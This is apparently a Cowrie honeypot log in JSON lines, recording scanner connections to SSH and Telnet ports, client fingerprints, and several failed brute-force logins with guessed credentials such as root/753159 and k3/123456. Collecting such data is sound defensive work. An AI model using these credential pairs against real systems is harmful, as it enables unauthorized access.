{"eventid":"cowrie.login.failed","username":"root","password":"yaroslav","message":"login attempt [root/yaroslav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:15.925342Z","src_ip":"62.133.62.83","session":"df7c54b6e275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36980,"dst_ip":"10.17.0.5","dst_port":23,"session":"8874b303dc6d","protocol":"telnet","message":"New connection: 152.42.224.71:36980 (10.17.0.5:23) [session: 8874b303dc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:16.930849Z"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:17.227389Z","src_ip":"62.133.62.83","session":"df7c54b6e275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.70351791381836,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:17.347913Z","src_ip":"152.42.224.71","session":"1544386ae3bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.7499783039093,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:17.594130Z","src_ip":"152.42.224.71","session":"704796abea4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25218367576599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:19.063523Z","src_ip":"146.19.210.8","session":"7e02225efb46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.378290176391602,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:24.400357Z","src_ip":"152.42.224.71","session":"648bd7f82930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.76744818687439,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:24.770460Z","src_ip":"152.42.224.71","session":"eddc930c2655","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.529029130935669,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:26.459769Z","src_ip":"152.42.224.71","session":"8874b303dc6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.877975940704346,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:26.691007Z","src_ip":"152.42.224.71","session":"47ed91ceec61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.338064432144165,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:26.809325Z","src_ip":"152.42.224.71","session":"3028fa448d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.003894329071045,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:26.869200Z","src_ip":"152.42.224.71","session":"ce4ab91542de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.30787515640259,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:27.781227Z","src_ip":"152.42.224.71","session":"26919644a85a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.809958934783936,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:27.835585Z","src_ip":"152.42.224.71","session":"1d261330f12b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":50464,"dst_ip":"159.203.135.109","dst_port":22,"session":"33f24ee8138f","protocol":"ssh","message":"New connection: 47.237.167.49:50464 (159.203.135.109:22) [session: 33f24ee8138f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:29.240728Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61697,"dst_ip":"10.17.0.5","dst_port":22,"session":"463bec09025f","protocol":"ssh","message":"New connection: 152.42.212.128:61697 (10.17.0.5:22) [session: 463bec09025f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:33.291639Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:33.299347Z","src_ip":"152.42.212.128","session":"463bec09025f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:33.302983Z","src_ip":"152.42.212.128","session":"463bec09025f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38126,"dst_ip":"10.17.0.5","dst_port":23,"session":"94430054b7d8","protocol":"telnet","message":"New connection: 152.42.224.71:38126 (10.17.0.5:23) [session: 94430054b7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:33.402057Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38142,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8b8cdfdb55","protocol":"telnet","message":"New connection: 152.42.224.71:38142 (10.17.0.5:23) [session: 8c8b8cdfdb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:34.732172Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37576,"dst_ip":"10.17.0.5","dst_port":23,"session":"395f04557d93","protocol":"telnet","message":"New connection: 152.42.224.71:37576 (10.17.0.5:23) [session: 395f04557d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:44.872916Z"}
{"eventid":"cowrie.session.closed","duration":"18.7","message":"Connection lost after 18.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:47.976805Z","src_ip":"47.237.167.49","session":"33f24ee8138f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52610,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab27fa07545e","protocol":"telnet","message":"New connection: 152.42.224.71:52610 (10.17.0.5:23) [session: ab27fa07545e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:50.913464Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":39976,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb4ae75d38d5","protocol":"ssh","message":"New connection: 43.173.85.181:39976 (10.17.0.5:22) [session: cb4ae75d38d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:57.788234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:57.793674Z","src_ip":"43.173.85.181","session":"cb4ae75d38d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:57.861849Z","src_ip":"43.173.85.181","session":"cb4ae75d38d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678@Abc","message":"login attempt [root/12345678@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:58.165465Z","src_ip":"43.173.85.181","session":"cb4ae75d38d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:38:59.237521Z","src_ip":"43.173.85.181","session":"cb4ae75d38d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00317668914795,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:00.839165Z","src_ip":"152.42.224.71","session":"73480eacbcbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.60465025901794,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:04.152268Z","src_ip":"152.42.224.71","session":"4cf5ffee8b1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":89.2865080833435,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:04.196101Z","src_ip":"152.42.224.71","session":"9d04e97804a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":52420,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc214a995dc1","protocol":"ssh","message":"New connection: 109.172.54.111:52420 (159.203.135.109:22) [session: fc214a995dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:06.898313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:06.922950Z","src_ip":"109.172.54.111","session":"fc214a995dc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:07.025419Z","src_ip":"109.172.54.111","session":"fc214a995dc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"753159","message":"login attempt [root/753159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:07.317325Z","src_ip":"109.172.54.111","session":"fc214a995dc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:08.420810Z","src_ip":"109.172.54.111","session":"fc214a995dc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51778,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c0f9aea75d","protocol":"telnet","message":"New connection: 152.42.224.71:51778 (10.17.0.5:23) [session: a9c0f9aea75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:11.776768Z"}
{"eventid":"cowrie.session.closed","duration":73.06981682777405,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:14.930066Z","src_ip":"152.42.224.71","session":"bed4cb9b82ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.29329228401184,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:15.025291Z","src_ip":"152.42.224.71","session":"8c8b8cdfdb55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40198,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b096ba0880","protocol":"telnet","message":"New connection: 152.42.224.71:40198 (10.17.0.5:23) [session: 81b096ba0880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:16.958813Z"}
{"eventid":"cowrie.session.closed","duration":107.35337162017822,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:17.246636Z","src_ip":"152.42.224.71","session":"d7b0eba3a764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60057,"dst_ip":"10.17.0.5","dst_port":22,"session":"8485009786c1","protocol":"ssh","message":"New connection: 167.172.81.52:60057 (10.17.0.5:22) [session: 8485009786c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:20.220061Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:20.225737Z","src_ip":"167.172.81.52","session":"8485009786c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:20.229786Z","src_ip":"167.172.81.52","session":"8485009786c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.936906576156616,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:20.850254Z","src_ip":"152.42.224.71","session":"ab27fa07545e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00256657600403,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:22.406149Z","src_ip":"152.42.224.71","session":"d30e83fb071a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40200,"dst_ip":"10.17.0.5","dst_port":23,"session":"25e0eb79ad26","protocol":"telnet","message":"New connection: 152.42.224.71:40200 (10.17.0.5:23) [session: 25e0eb79ad26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:23.335069Z"}
{"eventid":"cowrie.session.closed","duration":120.00232076644897,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:24.449194Z","src_ip":"152.42.224.71","session":"1952a923ab28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":34018,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8e021d5d035","protocol":"ssh","message":"New connection: 167.86.95.8:34018 (10.17.0.5:22) [session: e8e021d5d035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:32.766160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:32.771819Z","src_ip":"167.86.95.8","session":"e8e021d5d035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:32.869622Z","src_ip":"167.86.95.8","session":"e8e021d5d035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k3","password":"123456","message":"login attempt [k3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:33.311721Z","src_ip":"167.86.95.8","session":"e8e021d5d035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00125789642334,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:33.915859Z","src_ip":"152.42.224.71","session":"809e1fb4411e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:34.414108Z","src_ip":"167.86.95.8","session":"e8e021d5d035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53460,"dst_ip":"10.17.0.5","dst_port":23,"session":"91fc346d7e92","protocol":"telnet","message":"New connection: 152.42.224.71:53460 (10.17.0.5:23) [session: 91fc346d7e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:35.595551Z"}
{"eventid":"cowrie.session.closed","duration":120.00568008422852,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:42.597820Z","src_ip":"152.42.224.71","session":"eb8287ae1e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734005451202393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:47.692703Z","src_ip":"152.42.224.71","session":"81b096ba0880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.88878655433655,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:48.665431Z","src_ip":"152.42.224.71","session":"a9c0f9aea75d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57996,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f3a6353731","protocol":"telnet","message":"New connection: 152.42.224.71:57996 (10.17.0.5:23) [session: 62f3a6353731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:52.004582Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52368,"dst_ip":"10.17.0.5","dst_port":23,"session":"eacbee1ed270","protocol":"telnet","message":"New connection: 152.42.224.71:52368 (10.17.0.5:23) [session: eacbee1ed270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:58.094971Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52382,"dst_ip":"10.17.0.5","dst_port":23,"session":"723c5a56c196","protocol":"telnet","message":"New connection: 152.42.224.71:52382 (10.17.0.5:23) [session: 723c5a56c196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:58.561277Z"}
{"eventid":"cowrie.session.closed","duration":120.00175619125366,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:39:58.805144Z","src_ip":"152.42.224.71","session":"57f62ba31576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":40964,"dst_ip":"10.17.0.5","dst_port":22,"session":"a770944e97de","protocol":"ssh","message":"New connection: 43.173.85.181:40964 (10.17.0.5:22) [session: a770944e97de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:05.447783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:05.455650Z","src_ip":"43.173.85.181","session":"a770944e97de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:40:05.524445Z","src_ip":"43.173.85.181","session":"a770944e97de","protocol":"ssh"}
